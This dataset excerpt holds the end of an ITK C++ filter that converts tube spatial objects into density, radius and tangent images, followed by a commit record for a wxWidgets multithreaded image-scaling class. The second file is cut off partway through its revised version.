m_RadiusImage = TRadiusImage::New();\n  this->SetNthOutput( 1, m_RadiusImage );\n\n  m_TangentImage = TTangentImage::New();\n  this->SetNthOutput( 2, m_TangentImage );\n}\n\n\/** Destructor *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage >\n::~TubeSpatialObjectToImageFilter( void )\n{\n}\n\n\/** Return the Radius Image *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\ntypename TubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage,\n  TRadiusImage, TTangentImage >::RadiusImagePointer\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage>\n::GetRadiusImage( void )\n{\n  return dynamic_cast< TRadiusImage * >( this->ProcessObject::GetOutput( 1 ) );\n}\n\n\/** Return the tangent Image *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\ntypename TubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage,\n  TRadiusImage, TTangentImage >::TangentImagePointer\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage >\n::GetTangentImage( void )\n{\n  return dynamic_cast< TTangentImage * >(\n    this->ProcessObject::GetOutput( 2 ) );\n}\n\n\/** Update *\/\ntemplate< unsigned int ObjectDimension, class TOutputImage,\n  class TRadiusImage, class TTangentImage >\nvoid\nTubeSpatialObjectToImageFilter< ObjectDimension, TOutputImage, TRadiusImage,\n  TTangentImage >\n::GenerateData( void )\n{\n  itkDebugMacro( << \"TubeSpatialObjectToImageFilter::Update() called.\" );\n\n  \/\/Get the input and output pointers\n  const typename SuperClass::InputSpatialObjectType   * InputTube =\n    this->GetInput();\n  typename SuperClass::OutputImagePointer             OutputImage =\n    this->GetOutput();\n\n  \/\/ Generate the image\n  typename OutputImageType::RegionType region;\n  if( this->m_Size[0] == 0 )\n    {\n    std::cout << \"WARNING: Size not set.\" << std::endl;\n    std::cout << \"   Reverting to an incorrect method to compute region.\"\n      << std::endl;\n    SizeType size;\n\n    typename SuperClass::InputSpatialObjectType::BoundingBoxType::PointType\n      maxPoint;\n    maxPoint = InputTube->GetBoundingBox()->GetMaximum();\n\n    typename OutputImageType::PointType   physicalSize;\n\n    unsigned int buffer = 4;\n\n    for( unsigned int i=0; i<ObjectDimension; i++ )\n      {\n      maxPoint[i] = maxPoint[i] *\n                    ( InputTube->GetIndexToObjectTransform() )\n                      ->GetScaleComponent()[i];\n      physicalSize[i] = maxPoint[i] - this->m_Origin[i];\n\n      \/** Get the origin point within the image so that the object\n       * remains in the image **\/\n      size[i] = ( long unsigned int )(\n        physicalSize[i] \/ this->m_Spacing[i] ) + buffer;\n      }\n    region.SetSize( size );\n    }\n  else\n    {\n    region.SetSize( this->m_Size );\n    }\n\n  typename OutputImageType::IndexType index;\n  index.Fill( 0 );\n  region.SetIndex( index );\n\n  OutputImage->SetRegions( region );\n  OutputImage->SetSpacing( this->m_Spacing );\n  OutputImage->SetOrigin( this->m_Origin );\n  OutputImage->Allocate();\n  OutputImage->FillBuffer( 0 );\n\n  itk::ContinuousIndex<double, ObjectDimension> point;\n\n  m_RadiusImage = this->GetRadiusImage();\n  \/\/Build radius image for processing\n  if( m_BuildRadiusImage )\n    {\n    m_RadiusImage->SetRegions( region );\n    m_RadiusImage->SetSpacing( this->m_Spacing );\n    m_RadiusImage->SetOrigin( this->m_Origin );\n    m_RadiusImage->Allocate();\n    m_RadiusImage->FillBuffer( 0 );\n    }\n\n  m_TangentImage = this->GetTangentImage();\n  \/\/Build radius image for processing\n  if( m_BuildTangentImage )\n    {\n    m_TangentImage->SetRegions( region );\n    m_TangentImage->SetSpacing( this->m_Spacing );\n    m_TangentImage->SetOrigin( this->m_Origin );\n    m_TangentImage->Allocate();\n    TangentPixelType v;\n    v.Fill( 0 );\n    m_TangentImage->FillBuffer( v );\n    }\n\n  \/\/ Get the list of tubes\n  char tubeName[] = \"Tube\";\n  ChildrenListType* tubeList = InputTube->GetChildren(\n    this->m_ChildrenDepth, tubeName );\n\n  \/\/int size = tubeList->size();\n\n  typedef typename ChildrenListType::iterator ChildrenIteratorType;\n  ChildrenIteratorType TubeIterator = tubeList->begin();\n\n  typename OutputImageType::IndexType index2;\n\n  while( TubeIterator != tubeList->end() )\n    {\n    TubeType * tube = ( TubeType * )TubeIterator->GetPointer();\n\n    typename TubeType::TransformType * tubeIndexPhysTransform =\n      tube->GetIndexToWorldTransform();\n\n    \/\/ Force the computation of the tangents\n    if( m_BuildTangentImage )\n      {\n      tube->RemoveDuplicatePoints();\n      tube->ComputeTangentAndNormals();\n      }\n\n    for( unsigned int k=0; k < tube->GetNumberOfPoints(); k++ )\n      {\n      typedef typename TubeType::TubePointType TubePointType;\n      const TubePointType* tubePoint = static_cast<const TubePointType*>(\n        tube->GetPoint( k ) );\n      OutputImage->TransformPhysicalPointToContinuousIndex(\n\ttubeIndexPhysTransform->TransformPoint( tubePoint->GetPosition() ),\n\tpoint );\n      for( unsigned int i=0; i<ObjectDimension; i++ )\n        {\n        index[i] = ( long int )( point[i]+0.5 );\n        }\n      bool IsInside = OutputImage->GetLargestPossibleRegion().IsInside(index);\n\n      if( IsInside )\n        {\n        \/\/ Density Image\n        if( m_Cumulative )\n          {\n          OutputImage->SetPixel( index, OutputImage->GetPixel( index )+1 );\n          }\n        else\n          {\n          OutputImage->SetPixel( index, 1 );\n          }\n\n        \/\/ Tangent Image\n        if( m_BuildTangentImage )\n          {\n          \/\/ Convert the tangent type to the actual tangent image pixel type\n          typename TubeType::VectorType t = tubePoint->GetTangent();\n          TangentPixelType tp;\n          for( unsigned int tpind = 0;tpind<ObjectDimension;tpind++ )\n            {\n            tp[tpind] = t[tpind];\n            }\n          m_TangentImage->SetPixel( index, tp );\n          }\n\n        \/\/ Radius Image and Density image with radius\n        if( m_UseRadius )\n          {\n\t  \/\/ TODO it looks like we're assuming isometry here\n          double phys_pt_radius = tubePoint->GetRadius() *\n                                      tube\n                                      ->GetIndexToObjectTransform()\n                                      ->GetScaleComponent()[0];\n          if( m_BuildRadiusImage )\n            {\n            m_RadiusImage->SetPixel( index,\n                                  static_cast<RadiusPixelType>(\n                                      phys_pt_radius ) );\n            }\n\n          long radius = ( long int )( phys_pt_radius \/ this->m_Spacing[0] );\n\n\n          double step = radius\/2;\n          while( step > 1 )\n            {\n            step \/= 2;\n            }\n          if( step < 0.5 )\n            {\n            step = 0.5;\n            }\n          if( ObjectDimension == 2 )\n            {\n            for( double x=-radius; x<=radius+step\/2; x+=step )\n              {\n              for( double y=-radius; y<=radius+step\/2; y+=step )\n                {\n                if( ( ( x*x ) +( y*y ) ) <= ( radius*radius ) )\n                  \/\/ test  inside the sphere\n                  {\n                  index2[0]=( long )( point[0]+x+0.5 );\n                  index2[1]=( long )( point[1]+y+0.5 );\n                  if( OutputImage->GetLargestPossibleRegion().IsInside( index2 ) )\n                    {\n                    typedef typename OutputImageType::PixelType PixelType;\n                    if( m_Cumulative )\n                      {\n                      OutputImage->SetPixel( index2,\n                                            ( PixelType )( OutputImage\n                                                        ->GetPixel( index2 )\n                                            + 0.5 ) );\n                      }\n                    else\n                      {\n                      OutputImage->SetPixel( index2, 1 );\n                      }\n                    if( m_BuildRadiusImage )\n                      {\n                      m_RadiusImage->SetPixel( index2, phys_pt_radius );\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          else if( ObjectDimension == 3 )\n            {\n            for( double x=-radius; x<=radius+step\/2; x+=step )\n              {\n              for( double y=-radius; y<=radius+step\/2; y+=step )\n                {\n                for( double z=-radius; z<=radius+step\/2; z+=step )\n                  {\n                  if( ( ( x*x ) +( y*y ) +( z*z ) ) <= ( radius*radius ) )\n                    \/\/ test  inside the sphere\n                    {\n                    index2[0]=( long )( point[0]+x+0.5 );\n                    index2[1]=( long )( point[1]+y+0.5 );\n                    index2[2]=( long )( point[2]+z+0.5 );\n\n                    \/\/ Test that point is within the output image boundries\n                    if( OutputImage->GetLargestPossibleRegion().IsInside( index2 ) )\n                      {\n                      OutputImage->SetPixel( index2, 1 );\n                      if( m_BuildRadiusImage )\n                        {\n                        m_RadiusImage->SetPixel( index2, phys_pt_radius );\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    ++TubeIterator;\n    }\n\n  delete tubeList;\n\n  itkDebugMacro( << \"TubeSpatialObjectToImageFilter::Update() finished.\" );\n\n} \/\/ End update function\n\n#endif \/\/ End !defined( __itktubeTubeSpatialObjectToImageFilter_hxx )\n<|endoftext|>"}
{"text":"<commit_before>#include \"ScaledImageFactory.h\"\r\n\r\n#include <wx\/mstream.h>\r\n\r\n#include <memory>\r\n\r\n#define STB_IMAGE_RESIZE_IMPLEMENTATION\r\n#include <stb\/stb_image_resize.h>\r\n\r\nusing namespace std;\r\n\r\n\r\nconst unsigned char background_png[] =\r\n{\r\n    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,\r\n    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x91, 0x68,\r\n    0x36, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00,\r\n    0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00,\r\n    0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7,\r\n    0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x2B, 0x49, 0x44, 0x41, 0x54, 0x38, 0x4F, 0x63, 0xD8, 0x8F,\r\n    0x03, 0xFC, 0xC7, 0x01, 0x46, 0x35, 0x20, 0x03, 0xA8, 0x3C, 0x06, 0x20, 0x5D, 0x03, 0x94, 0xC6,\r\n    0x00, 0x50, 0x7D, 0x18, 0x60, 0x54, 0x03, 0x32, 0x80, 0xCA, 0x63, 0x00, 0x12, 0x35, 0xEC, 0xDF,\r\n    0x0F, 0x00, 0xA7, 0x10, 0x9D, 0x1F, 0xC1, 0x17, 0x37, 0x45, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45,\r\n    0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82\r\n};\r\n\r\n\r\n\/\/ blends a foreground RGB triplet (fg) onto a background RGB triplet (bg)\r\n\/\/ using the given alpha value; returns the blended result\r\n\/\/ http:\/\/stackoverflow.com\/questions\/12011081\/alpha-blending-2-rgba-colors-in-c\/12016968#12016968\r\ninline void BlendRgb\r\n    (\r\n    unsigned char* dst,\r\n    const unsigned char* fg,\r\n    const unsigned char* bg,\r\n    const unsigned char alpha\r\n    )\r\n{\r\n    const unsigned int intAlpha = alpha + 1;\r\n    const unsigned int invAlpha = 256 - alpha;\r\n    for( size_t i = 0; i < 3; ++i )\r\n    {\r\n        dst[i] = ( ( intAlpha * fg[i] + invAlpha * bg[i] ) >> 8 );\r\n    }\r\n}\r\n\r\n\r\n\/\/ blends fg onto a repeating pattern of bg into dst\r\n\/\/ bg dimensions must be powers-of-two\r\nvoid BlendPattern\r\n    (\r\n    wxImage& dst,\r\n    const wxImage& fg,\r\n    const wxImage& bg\r\n    )\r\n{\r\n    const size_t fgW = static_cast< size_t >( fg.GetWidth() );\r\n    const size_t dstW = static_cast< size_t >( dst.GetWidth() );\r\n    const size_t dstH = static_cast< size_t >( dst.GetHeight() );\r\n\r\n    const size_t bgW = static_cast< size_t >( bg.GetWidth() );\r\n    const size_t bgH = static_cast< size_t >( bg.GetHeight() );\r\n\r\n    const unsigned char* fgData = fg.GetData();\r\n    const unsigned char* fgAlpha = fg.GetAlpha();\r\n    unsigned char* bgData = bg.GetData();\r\n    unsigned char* dstData = dst.GetData();\r\n\r\n    for( size_t y = 0; y < dstH; ++y )\r\n    {\r\n        unsigned char* dstPx = &dstData[ y * dstW * 3 ];\r\n\r\n        const unsigned char* fgPx = &fgData[ y * fgW * 3 ];\r\n        const unsigned char* fgAlphaPx = &fgAlpha[ y * fgW ];\r\n\r\n        const size_t bgY = ( y & ( bgH-1 ) ) * bgW * 3;\r\n        const unsigned char* bgRow = &bgData[ bgY ];\r\n\r\n        for( size_t x = 0; x < dstW; ++x )\r\n        {\r\n            const size_t bgX = ( x & ( bgW-1 ) ) * 3;\r\n            const unsigned char* bgPx = &bgRow[ bgX ];\r\n\r\n            BlendRgb( dstPx, fgPx, bgPx, *fgAlphaPx );\r\n\r\n            dstPx += 3;\r\n            fgPx += 3;\r\n            fgAlphaPx += 1;\r\n        }\r\n    }\r\n}\r\n\r\n\r\nvoid GetScaledSubrect( wxImage& dst, const wxImage& src, const double scale, const wxPoint& pos, const int filter )\r\n{\r\n    if( filter == -1 )\r\n    {\r\n        const size_t srcW = static_cast< size_t >( src.GetWidth() );\r\n        const size_t dstW = static_cast< size_t >( dst.GetWidth() );\r\n        const size_t dstH = static_cast< size_t >( dst.GetHeight() );\r\n\r\n        const float scaleInv = 1.0f \/ scale;\r\n\r\n        \/\/ color\r\n        {\r\n            const unsigned char* srcData = src.GetData();\r\n            unsigned char* dstData = dst.GetData();\r\n\r\n            for( size_t dstY = 0; dstY < dstH; ++dstY )\r\n            {\r\n                unsigned char* dstRow = &dstData[ dstY * dstW * 3 ];\r\n    \r\n                const size_t srcY( ( dstY + pos.y ) * scaleInv );\r\n                const unsigned char* srcRow = &srcData[ srcY * srcW * 3 ];\r\n\r\n                for( size_t dstX = 0; dstX < dstW; ++dstX )\r\n                {\r\n                    const size_t srcX( ( dstX + pos.x ) * scaleInv );\r\n                    const unsigned char* srcPx = &srcRow[ srcX * 3 ];\r\n                    dstRow[ dstX * 3 + 0 ] = srcPx[ 0 ];\r\n                    dstRow[ dstX * 3 + 1 ] = srcPx[ 1 ];\r\n                    dstRow[ dstX * 3 + 2 ] = srcPx[ 2 ];\r\n                }\r\n            }\r\n        }\r\n\r\n        if( !src.HasAlpha() )\r\n            return;\r\n\r\n        \/\/ alpha\r\n        {\r\n            const unsigned char* srcData = src.GetAlpha();\r\n            unsigned char* dstData = dst.GetAlpha();\r\n\r\n            for( size_t dstY = 0; dstY < dstH; ++dstY )\r\n            {\r\n                unsigned char* dstRow = &dstData[ dstY * dstW ];\r\n    \r\n                const size_t srcY( ( dstY + pos.y ) * scaleInv );\r\n                const unsigned char* srcRow = &srcData[ srcY * srcW ];\r\n\r\n                for( size_t dstX = 0; dstX < dstW; ++dstX )\r\n                {\r\n                    const size_t srcX( ( dstX + pos.x ) * scaleInv );\r\n                    const unsigned char* srcPx = &srcRow[ srcX ];\r\n                    dstRow[ dstX + 0 ] = srcPx[ 0 ];\r\n                }\r\n            }\r\n        }\r\n    }\r\n    else\r\n    {\r\n        const stbir_filter filter = STBIR_FILTER_TRIANGLE;\r\n        const stbir_edge edge = STBIR_EDGE_CLAMP;\r\n        const stbir_colorspace colorspace = STBIR_COLORSPACE_SRGB;\r\n\r\n        stbir_resize_subpixel\r\n            (\r\n            src.GetData(), src.GetWidth(), src.GetHeight(), 0,\r\n            dst.GetData(), dst.GetWidth(), dst.GetHeight(), 0,\r\n            STBIR_TYPE_UINT8,\r\n            3,\r\n            0,\r\n            STBIR_ALPHA_CHANNEL_NONE,\r\n            edge, edge,\r\n            filter, filter,\r\n            colorspace,\r\n            NULL,\r\n            scale, scale,\r\n            static_cast< float >( pos.x ), static_cast< float >( pos.y )\r\n            );\r\n\r\n        if( !src.HasAlpha() )\r\n            return;\r\n\r\n        stbir_resize_subpixel\r\n            (\r\n            src.GetAlpha(), src.GetWidth(), src.GetHeight(), 0,\r\n            dst.GetAlpha(), dst.GetWidth(), dst.GetHeight(), 0,\r\n            STBIR_TYPE_UINT8,\r\n            1,\r\n            0,\r\n            STBIR_FLAG_ALPHA_PREMULTIPLIED,\r\n            edge, edge,\r\n            filter, filter,\r\n            colorspace,\r\n            NULL,\r\n            scale, scale,\r\n            static_cast< float >( pos.x ), static_cast< float >( pos.y )\r\n            );\r\n    }\r\n}\r\n\r\n\/\/ threadland\r\nwxThread::ExitCode ScaledImageFactory::Entry()\r\n{\r\n    JobItem job;\r\n    while( wxSORTABLEMSGQUEUE_NO_ERROR == mJobPool.Receive( job ) )\r\n    {\r\n        if( NULL == job.second.mImage || wxThread::This()->TestDestroy() )\r\n            break;\r\n\r\n        const ExtRect& rect = job.first;\r\n        Context& ctx = job.second;\r\n\r\n        ResultItem result;\r\n        result.mGeneration = ctx.mGeneration;\r\n        result.mRect = rect;\r\n\r\n        \/\/ skip this rect if it isn't currently visible\r\n        {\r\n            wxCriticalSectionLocker locker( mVisibleCs );\r\n            if( !mVisible.Intersects( get<2>( rect ) ) )\r\n            {\r\n                mResultQueue.Post( result );\r\n                continue;\r\n            }\r\n        }\r\n\r\n        wxImagePtr temp( new wxImage( get<2>( rect ).GetSize(), false ) );\r\n        if( ctx.mImage->HasAlpha() )\r\n        {\r\n            temp->SetAlpha( NULL );\r\n        }\r\n\r\n        GetScaledSubrect\r\n            (\r\n            *temp,\r\n            *ctx.mImage,\r\n            ctx.mScale,\r\n            get<2>( rect ).GetPosition(),\r\n            get<1>( rect )\r\n            );\r\n\r\n        if( ctx.mImage->HasAlpha() )\r\n        {\r\n            result.mImage = new wxImage( get<2>( rect ).GetSize(), false );\r\n            BlendPattern( *result.mImage, *temp, mStipple );\r\n        }\r\n        else\r\n        {\r\n            result.mImage = temp;\r\n        }\r\n\r\n        mResultQueue.Post( result );\r\n\r\n        wxQueueEvent( mEventSink, new wxThreadEvent( wxEVT_THREAD, mEventId ) );\r\n    }\r\n\r\n    return static_cast< wxThread::ExitCode >( 0 );\r\n}\r\n\r\nScaledImageFactory::ScaledImageFactory( wxEvtHandler* eventSink, int id )\r\n    : mEventSink( eventSink ), mEventId( id )\r\n{\r\n    size_t numThreads = wxThread::GetCPUCount();\r\n    if( numThreads <= 0 )   numThreads = 1;\r\n    if( numThreads > 1 )    numThreads--;\r\n\r\n    for( size_t i = 0; i < numThreads; ++i )\r\n    {\r\n        CreateThread();\r\n    }\r\n\r\n    for( wxThread*& thread : GetThreads() )\r\n    {\r\n        if( NULL == thread )\r\n            continue;\r\n\r\n        if( thread->Run() != wxTHREAD_NO_ERROR )\r\n        {\r\n            delete thread;\r\n            thread = NULL;\r\n        }\r\n    }\r\n    \r\n    Reset();\r\n\r\n    mStipple.LoadFile( wxMemoryInputStream( background_png, sizeof( background_png ) ) );\r\n}\r\n\r\nScaledImageFactory::~ScaledImageFactory()\r\n{\r\n    \/\/ clear job queue and send down \"kill\" jobs\r\n    mJobPool.Clear();\r\n    for( size_t i = 0; i < GetThreads().size(); ++i )\r\n    {\r\n        mJobPool.Post( JobItem( ExtRect(), Context() ) );\r\n    }\r\n\r\n    for( wxThread* thread : GetThreads() )\r\n    {\r\n        if( NULL == thread )\r\n            continue;\r\n\r\n        thread->Wait();\r\n    }\r\n}\r\n\r\nvoid ScaledImageFactory::SetImage( wxImagePtr& newImage )\r\n{\r\n    if( NULL == newImage )\r\n        throw std::runtime_error( \"Image not set!\" );\r\n\r\n    mCurrentCtx.mImage = newImage;\r\n    mJobPool.Clear();\r\n}\r\n\r\nvoid ScaledImageFactory::SetScale( double newScale )\r\n{\r\n    if( NULL == mCurrentCtx.mImage )\r\n        throw std::runtime_error( \"Image not set!\" );\r\n\r\n    mCurrentCtx.mGeneration++;\r\n    mCurrentCtx.mScale = newScale;\r\n    mJobPool.Clear();\r\n}\r\n\r\nbool ScaledImageFactory::AddRect( const ExtRect& rect )\r\n{\r\n    if( NULL == mCurrentCtx.mImage )\r\n        throw std::runtime_error( \"Image not set!\" );\r\n\r\n    return( wxSORTABLEMSGQUEUE_NO_ERROR == mJobPool.Post( JobItem( rect, mCurrentCtx ) ) );\r\n}\r\n\r\nbool ScaledImageFactory::GetImage( ExtRect& rect, wxImagePtr& image )\r\n{\r\n    ResultItem item;\r\n    wxMessageQueueError err;\r\n    while( true )\r\n    {\r\n        err = mResultQueue.ReceiveTimeout( 0, item );\r\n        if( wxMSGQUEUE_TIMEOUT == err )\r\n            return false;\r\n        if( wxMSGQUEUE_MISC_ERROR == err )\r\n            throw std::runtime_error( \"ResultQueue misc error!\" );\r\n        if( item.mGeneration != mCurrentCtx.mGeneration )\r\n            continue;\r\n        break;\r\n    }\r\n\r\n    rect = item.mRect;\r\n    image = item.mImage;\r\n    return true;\r\n}\r\n\r\nvoid ScaledImageFactory::SetVisibleArea( const wxRect& visible )\r\n{\r\n    wxCriticalSectionLocker locker( mVisibleCs );\r\n    mVisible = visible;\r\n}\r\n\r\nvoid ScaledImageFactory::Reset()\r\n{\r\n    mJobPool.Clear();\r\n    mResultQueue.Clear();\r\n\r\n    mCurrentCtx.mGeneration++;\r\n    mCurrentCtx.mScale = 1.0;\r\n    mCurrentCtx.mImage.reset();\r\n}<commit_msg>Fix C4239 warning<commit_after>#include \"ScaledImageFactory.h\"\r\n\r\n#include <wx\/mstream.h>\r\n\r\n#include <memory>\r\n\r\n#define STB_IMAGE_RESIZE_IMPLEMENTATION\r\n#include <stb\/stb_image_resize.h>\r\n\r\nusing namespace std;\r\n\r\n\r\nconst unsigned char background_png[] =\r\n{\r\n    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,\r\n    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x91, 0x68,\r\n    0x36, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00,\r\n    0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00,\r\n    0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7,\r\n    0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x2B, 0x49, 0x44, 0x41, 0x54, 0x38, 0x4F, 0x63, 0xD8, 0x8F,\r\n    0x03, 0xFC, 0xC7, 0x01, 0x46, 0x35, 0x20, 0x03, 0xA8, 0x3C, 0x06, 0x20, 0x5D, 0x03, 0x94, 0xC6,\r\n    0x00, 0x50, 0x7D, 0x18, 0x60, 0x54, 0x03, 0x32, 0x80, 0xCA, 0x63, 0x00, 0x12, 0x35, 0xEC, 0xDF,\r\n    0x0F, 0x00, 0xA7, 0x10, 0x9D, 0x1F, 0xC1, 0x17, 0x37, 0x45, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45,\r\n    0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82\r\n};\r\n\r\n\r\n\/\/ blends a foreground RGB triplet (fg) onto a background RGB triplet (bg)\r\n\/\/ using the given alpha value; returns the blended result\r\n\/\/ http:\/\/stackoverflow.com\/questions\/12011081\/alpha-blending-2-rgba-colors-in-c\/12016968#12016968\r\ninline void BlendRgb\r\n    (\r\n    unsigned char* dst,\r\n    const unsigned char* fg,\r\n    const unsigned char* bg,\r\n    const unsigned char alpha\r\n    )\r\n{\r\n    const unsigned int intAlpha = alpha + 1;\r\n    const unsigned int invAlpha = 256 - alpha;\r\n    for( size_t i = 0; i < 3; ++i )\r\n    {\r\n        dst[i] = ( ( intAlpha * fg[i] + invAlpha * bg[i] ) >> 8 );\r\n    }\r\n}\r\n\r\n\r\n\/\/ blends fg onto a repeating pattern of bg into dst\r\n\/\/ bg dimensions must be powers-of-two\r\nvoid BlendPattern\r\n    (\r\n    wxImage& dst,\r\n    const wxImage& fg,\r\n    const wxImage& bg\r\n    )\r\n{\r\n    const size_t fgW = static_cast< size_t >( fg.GetWidth() );\r\n    const size_t dstW = static_cast< size_t >( dst.GetWidth() );\r\n    const size_t dstH = static_cast< size_t >( dst.GetHeight() );\r\n\r\n    const size_t bgW = static_cast< size_t >( bg.GetWidth() );\r\n    const size_t bgH = static_cast< size_t >( bg.GetHeight() );\r\n\r\n    const unsigned char* fgData = fg.GetData();\r\n    const unsigned char* fgAlpha = fg.GetAlpha();\r\n    unsigned char* bgData = bg.GetData();\r\n    unsigned char* dstData = dst.GetData();\r\n\r\n    for( size_t y = 0; y < dstH; ++y )\r\n    {\r\n        unsigned char* dstPx = &dstData[ y * dstW * 3 ];\r\n\r\n        const unsigned char* fgPx = &fgData[ y * fgW * 3 ];\r\n        const unsigned char* fgAlphaPx = &fgAlpha[ y * fgW ];\r\n\r\n        const size_t bgY = ( y & ( bgH-1 ) ) * bgW * 3;\r\n        const unsigned char* bgRow = &bgData[ bgY ];\r\n\r\n        for( size_t x = 0; x < dstW; ++x )\r\n        {\r\n            const size_t bgX = ( x & ( bgW-1 ) ) * 3;\r\n            const unsigned char* bgPx = &bgRow[ bgX ];\r\n\r\n            BlendRgb( dstPx, fgPx, bgPx, *fgAlphaPx );\r\n\r\n            dstPx += 3;\r\n            fgPx += 3;\r\n            fgAlphaPx += 1;\r\n        }\r\n    }\r\n}\r\n\r\n\r\nvoid GetScaledSubrect( wxImage& dst, const wxImage& src, const double scale, const wxPoint& pos, const int filter )\r\n{\r\n    if( filter == -1 )\r\n    {\r\n        const size_t srcW = static_cast< size_t >( src.GetWidth() );\r\n        const size_t dstW = static_cast< size_t >( dst.GetWidth() );\r\n        const size_t dstH = static_cast< size_t >( dst.GetHeight() );\r\n\r\n        const float scaleInv = 1.0f \/ scale;\r\n\r\n        \/\/ color\r\n        {\r\n            const unsigned char* srcData = src.GetData();\r\n            unsigned char* dstData = dst.GetData();\r\n\r\n            for( size_t dstY = 0; dstY < dstH; ++dstY )\r\n            {\r\n                unsigned char* dstRow = &dstData[ dstY * dstW * 3 ];\r\n    \r\n                const size_t srcY( ( dstY + pos.y ) * scaleInv );\r\n                const unsigned char* srcRow = &srcData[ srcY * srcW * 3 ];\r\n\r\n                for( size_t dstX = 0; dstX < dstW; ++dstX )\r\n                {\r\n                    const size_t srcX( ( dstX + pos.x ) * scaleInv );\r\n                    const unsigned char* srcPx = &srcRow[ srcX * 3 ];\r\n                    dstRow[ dstX * 3 + 0 ] = srcPx[ 0 ];\r\n                    dstRow[ dstX * 3 + 1 ] = srcPx[ 1 ];\r\n                    dstRow[ dstX * 3 + 2 ] = srcPx[ 2 ];\r\n                }\r\n            }\r\n        }\r\n\r\n        if( !src.HasAlpha() )\r\n            return;\r\n\r\n        \/\/ alpha\r\n        {\r\n            const unsigned char* srcData = src.GetAlpha();\r\n            unsigned char* dstData = dst.GetAlpha();\r\n\r\n            for( size_t dstY = 0; dstY < dstH; ++dstY )\r\n            {\r\n                unsigned char* dstRow = &dstData[ dstY * dstW ];\r\n    \r\n                const size_t srcY( ( dstY + pos.y ) * scaleInv );\r\n                const unsigned char* srcRow = &srcData[ srcY * srcW ];\r\n\r\n                for( size_t dstX = 0; dstX < dstW; ++dstX )\r\n                {\r\n                    const size_t srcX( ( dstX + pos.x ) * scaleInv );\r\n                    const unsigned char* srcPx = &srcRow[ srcX ];\r\n                    dstRow[ dstX + 0 ] = srcPx[ 0 ];\r\n                }\r\n            }\r\n        }\r\n    }\r\n    else\r\n    {\r\n        const stbir_filter filter = STBIR_FILTER_TRIANGLE;\r\n        const stbir_edge edge = STBIR_EDGE_CLAMP;\r\n        const stbir_colorspace colorspace = STBIR_COLORSPACE_SRGB;\r\n\r\n        stbir_resize_subpixel\r\n            (\r\n            src.GetData(), src.GetWidth(), src.GetHeight(), 0,\r\n            dst.GetData(), dst.GetWidth(), dst.GetHeight(), 0,\r\n            STBIR_TYPE_UINT8,\r\n            3,\r\n            0,\r\n            STBIR_ALPHA_CHANNEL_NONE,\r\n            edge, edge,\r\n            filter, filter,\r\n            colorspace,\r\n            NULL,\r\n            scale, scale,\r\n            static_cast< float >( pos.x ), static_cast< float >( pos.y )\r\n            );\r\n\r\n        if( !src.HasAlpha() )\r\n            return;\r\n\r\n        stbir_resize_subpixel\r\n            (\r\n            src.GetAlpha(), src.GetWidth(), src.GetHeight(), 0,\r\n            dst.GetAlpha(), dst.GetWidth(), dst.GetHeight(), 0,\r\n            STBIR_TYPE_UINT8,\r\n            1,\r\n            0,\r\n            STBIR_FLAG_ALPHA_PREMULTIPLIED,\r\n            edge, edge,\r\n            filter, filter,\r\n            colorspace,\r\n            NULL,\r\n            scale, scale,\r\n            static_cast< float >( pos.x ), static_cast< float >( pos.y )\r\n            );\r\n    }\r\n}\r\n\r\n\/\/ threadland\r\nwxThread::ExitCode ScaledImageFactory::Entry()\r\n{\r\n    JobItem job;\r\n    while( wxSORTABLEMSGQUEUE_NO_ERROR == mJobPool.Receive( job ) )\r\n    {\r\n        if( NULL == job.second.mImage || wxThread::This()->TestDestroy() )\r\n            break;\r\n\r\n        const ExtRect& rect = job.first;\r\n        Context& ctx = job.second;\r\n\r\n        ResultItem result;\r\n        result.mGeneration = ctx.mGeneration;\r\n        result.mRect = rect;\r\n\r\n        \/\/ skip this rect if it isn't currently visible\r\n        {\r\n            wxCriticalSectionLocker locker( mVisibleCs );\r\n            if( !mVisible.Intersects( get<2>( rect ) ) )\r\n            {\r\n                mResultQueue.Post( result );\r\n         